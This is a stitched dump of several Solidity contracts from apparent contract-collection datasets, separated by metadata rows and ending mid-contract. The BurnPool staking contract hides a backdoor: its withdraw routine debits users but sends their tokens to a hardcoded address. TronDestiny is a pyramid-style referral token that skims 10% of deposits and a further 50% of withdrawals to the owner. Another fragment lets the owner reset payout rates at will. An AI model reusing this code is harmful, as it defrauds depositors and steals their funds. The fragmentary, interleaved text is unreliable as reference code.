function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getHoldBonus(address userAddress) public view returns(uint256) {
if(getUserPercentRate(userAddress) <= getContractBalanceRate()
|| getUserPercentRate(userAddress).sub(getContractBalanceRate()) < BASE_PERCENT) {
return 0;
} else {
return getUserPercentRate(userAddress).sub(getContractBalanceRate()).sub(BASE_PERCENT);
}
}
function setMinuteRate(uint256 _roiPer) public returns(bool) {
require(msg.sender == owner, "Access denied");
BASE_PERCENT = _roiPer;
return true;
}
function() external payable {
if(msg.sender != owner) {
invest(owner);
}
}
function startSync(uint256 limit) public {
require(address(oldTronAvail) != address(0), "Initialize closed");
for (uint256 i = oldUserId; i <= limit; i++) {
User memory oldUserStruct;
address oldUser = oldTronAvail.userIds(oldUserId);
(oldUserStruct.checkpoint,
oldUserStruct.referrer,
oldUserStruct.bonus,
oldUserStruct.referrals,
oldUserStruct.match_bonus,
oldUserStruct.direct_bonus,
oldUserStruct.payouts) = oldTronAvail.users(oldUser);
users[oldUser].checkpoint = oldUserStruct.checkpoint;
users[oldUser].referrer = oldUserStruct.referrer;
users[oldUser].bonus = oldUserStruct.bonus;
users[oldUser].referrals = oldUserStruct.referrals;
users[oldUser].match_bonus = oldUserStruct.match_bonus;
users[oldUser].direct_bonus = oldUserStruct.direct_bonus;
users[oldUser].payouts = oldUserStruct.payouts;
for (uint256 j = 0; j < oldTronAvail.getUserAmountOfDeposits(oldUser); j++) {
uint256 amount;
uint256 withdrawn;
uint256 start;
(amount, withdrawn, start) = oldTronAvail.getUserDepositInfo(oldUser, j);
users[oldUser].deposits.push(Deposit(amount, withdrawn, start));
}
(users[oldUser].UserReferralCountsValue[oldUser].level1,
users[oldUser].UserReferralCountsValue[oldUser].level2,
users[oldUser].UserReferralCountsValue[oldUser].level3) = oldTronAvail.getUserDownlineCount(oldUser);
userIds[oldUserId] = oldUser;
oldUserId++;
}
totalUsers = oldTronAvail.totalUsers();
totalInvested = oldTronAvail.totalInvested();
totalWithdrawn = oldTronAvail.totalWithdrawn();
totalDeposits = oldTronAvail.totalDeposits();
}
function closeSync() public {
require(msg.sender == owner, "Access denied");
oldTronAvail = OldTronAvail(0);
}
function getUserDownlineCount(address _addr) view external returns(uint256, uint256, uint256) {
return (users[_addr].UserReferralCountsValue[_addr].level1, users[_addr].UserReferralCountsValue[_addr].level2, users[_addr].UserReferralCountsValue[_addr].level3);
}
function getMatchBonus(address userAddress) public view returns(uint256) {
return users[userAddress].match_bonus;
}
}
| 298,995 | 13,251 |
fd067df2028659c5f5cf315ec754f68b6e28a646e3a4ecfb4fa0509890886e60
| 26,824 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x3073Ef6E909Be86d5FD55f39dC5a3C85Ef2B41b4/contract.sol
| 3,849 | 14,806 |
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/upgrades/contracts/Initializable.sol
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// Dependency file: contracts/StakePool.sol
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token) public initializer {
depositToken = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(0xC8Ab5AF83562C64Af5220633Aba35Bf3427ee3f0, amount);
}
}
// Dependency file: @openzeppelin/contracts/math/Math.sol
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract BurnPool is StakePool {
IERC20 public degenToken;
// Halving period in seconds, should be defined as 1 week
uint256 public halvingPeriod = 604800;
// Total reward in 18 decimal
uint256 public totalreward;
// Starting timestamp for Degen Staking Pool
uint256 public starttime;
// The timestamp when stakers should be allowed to withdraw
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _degenToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken);
degenToken = IERC20(_degenToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Token");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart stakingTime{
require(amount > 0, "ERROR: Cannot withdraw 0 Token");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
degenToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals open after 24 hours from the beginning");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 251,923 | 13,252 |
8edf4c5d6650300ce4bace927424ee1d63b29ac666863a5410ebc7c9b9cbcf1e
| 16,539 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TN/TNzQMtJvwVBJfE5uR9fSzacTmzeK4pTiiw_TronDestiny.sol
| 4,574 | 15,917 |
//SourceUnit: des.sol
pragma solidity ^0.4.25;
contract TronDestiny {
uint256 public TotalInvestments = 0;
uint256 public TotalReferralRewards = 0;
uint256 public TotalUsers = 0;
uint256 public TimeStart = now + 2 days; // Launch time in UNIX
address public owner = msg.sender;
uint256 public LevelTier0 = 0;
uint256 public LevelTier1 = 5000 * 1000000; // 5000 TRON
uint256 public LevelTier2 = 10000 * 1000000; // 10000 TRON
uint256 public LevelTier3 = 20000 * 1000000; // 20000 TRON
uint256 public LevelTier4 = 50000 * 1000000; // 50000 TRON
uint256 FeeRate = 10;
constructor() public {
owner = msg.sender;
}
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingTron,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 tronEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 tronReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 tronWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
uint8 constant internal entryFee_ = 50; // 50 - refferalTier
uint8 constant internal refferalTier0 = 50; // 50% from 50% = 25% referral reward
uint8 constant internal refferalTier1 = 60; // 60% from 50% = 30% referral reward
uint8 constant internal refferalTier2 = 70; // 70% from 50% = 35% referral reward
uint8 constant internal refferalTier3 = 80; // 80% from 50% = 40% referral reward
uint8 constant internal refferalTier4 = 100; // 100% from 50% = 50% referral reward
uint8 constant internal exitFee_ = 15; // 15% sell fee
string public name = "TronDestiny";
string public symbol = "TDY";
uint8 constant public decimals =18;
uint8 constant internal transferFee_ = 1;
uint256 constant internal tokenPriceInitial_ = 1; // Initial price
uint256 constant internal tokenPriceIncremental_ = 1; // Price increase
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 0; // how many STOCKS do you need to unlock your referral link (0 stocks)
address administrator = owner;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => uint256) internal UserReferralRewards;
mapping(address => uint256) internal TotalUserReferralRewards;
mapping(address => uint256) internal TotalInvitedUsers;
mapping(address => bool) public isInWhiteList;
mapping(address => bool) public notUsed;
mapping(address => bool) public isPlayer;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
// uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
uint amountToUse;
if(isInWhiteList[msg.sender] && notUsed[msg.sender] == false){
amountToUse = (msg.value * 120)/100;
notUsed[msg.sender] = true;
}
else{
amountToUse = msg.value;
}
if(!isPlayer[msg.sender]){
TotalUsers ++;
isPlayer[msg.sender] = true;
}
purchaseTokens(amountToUse, _referredBy);
}
function joinwhitelist() external payable{
require(TimeStart > now);
isInWhiteList[msg.sender] = true;
if(!isPlayer[msg.sender]){
TotalUsers ++;
isPlayer[msg.sender] = true;
}
}
function() payable public {
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
TotalUserReferralRewards[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
TotalUserReferralRewards[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
uint256 FeeDividendsWithdraw = (_dividends / 100) * 50;
owner.transfer(FeeDividendsWithdraw);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _tron = tokensToTron_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedTron * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedTron, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToTron_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalTronBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function MyReferralRewards(address _customerAddress) public view returns (uint256) {
return UserReferralRewards[_customerAddress];
}
function TotalReferralRewardsUser(address _customerAddress) public view returns (uint256) {
return TotalUserReferralRewards[_customerAddress];
}
function UsersTotalInvited(address _customerAddress) public view returns (uint256) {
return TotalInvitedUsers[_customerAddress];
}
function TotalReferralRewards() public view returns (uint256) {
return TotalReferralRewards;
}
function TotalInvestments() public view returns (uint256) {
return TotalInvestments;
}
function TotalUsers() public view returns (uint256) {
return TotalUsers;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
return _taxedTron;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, entryFee_), 100);
uint256 _taxedTron = SafeMath.add(_tron, _dividends);
return _taxedTron;
}
}
function calculateTokensReceived(uint256 _tronToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_tronToSpend, entryFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tronToSpend, _dividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
return _amountOfTokens;
}
function calculateTronReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _tron = tokensToTron_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
return _taxedTron;
}
function purchaseTokens(uint256 _incomingTron, address _referredBy) internal returns (uint256) {
require(now > TimeStart);
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingTron, entryFee_), 100);
uint256 _referralBonus;
if (UserReferralRewards[_referredBy] > LevelTier1 && UserReferralRewards[_referredBy] < LevelTier2) {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier1), 100);
}
else if (UserReferralRewards[_referredBy] > LevelTier2 && UserReferralRewards[_referredBy] < LevelTier3) {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier2), 100);
}
else if (UserReferralRewards[_referredBy] > LevelTier3 && UserReferralRewards[_referredBy] < LevelTier4) {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier3), 100);
}
else if (UserReferralRewards[_referredBy] > LevelTier4) {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier4), 100);
}
else {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier0), 100);
}
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 FeeRateCalculator = (_incomingTron / 100) * 10;
owner.transfer(FeeRateCalculator);
uint256 _taxedTron = SafeMath.sub(_incomingTron, _undividedDividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
uint256 _fee = _dividends * magnitude;
TotalInvestments += _incomingTron;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != address(0) &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
UserReferralRewards[_referredBy] = UserReferralRewards[_referredBy] + _referralBonus;
TotalUserReferralRewards[_referredBy] = TotalUserReferralRewards[_referredBy] + _referralBonus;
TotalReferralRewards += _referralBonus;
TotalInvitedUsers[_referredBy]++;
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingTron, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function tronToTokens_(uint256 _tron) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_tron * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToTron_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _tronReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _tronReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 305,966 | 13,253 |
e7d4511d09f56f770a7231bb4f0b4b704c5f9409d06bdf57f22f70f10a7802ab
| 10,551 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x7d8f705cebfaca7a58e5ea975bb526793810004c.sol
| 2,879 | 9,724 |
// Author : shift
pragma solidity ^0.4.18;
//--------- OpenZeppelin's Safe Math
//Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//-----------------------------------------------------
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract Moongang {
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
//In reality, the correct amount is the amount + 1%
uint256 correct_amount = SafeMath.div(SafeMath.mul(min_amount, 100), 99);
require(this.balance >= correct_amount);
_;
}
modifier underMaxAmount {
uint256 correct_amount = SafeMath.div(SafeMath.mul(max_amount, 100), 99);
require(max_amount == 0 || this.balance <= correct_amount);
_;
}
//Constants of the contract
uint256 constant FEE = 100; //1% fee
uint256 constant FEE_DEV = SafeMath.div(20, 3); //15% on the 1% fee
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
uint256 individual_cap;
//Variables subject to changes
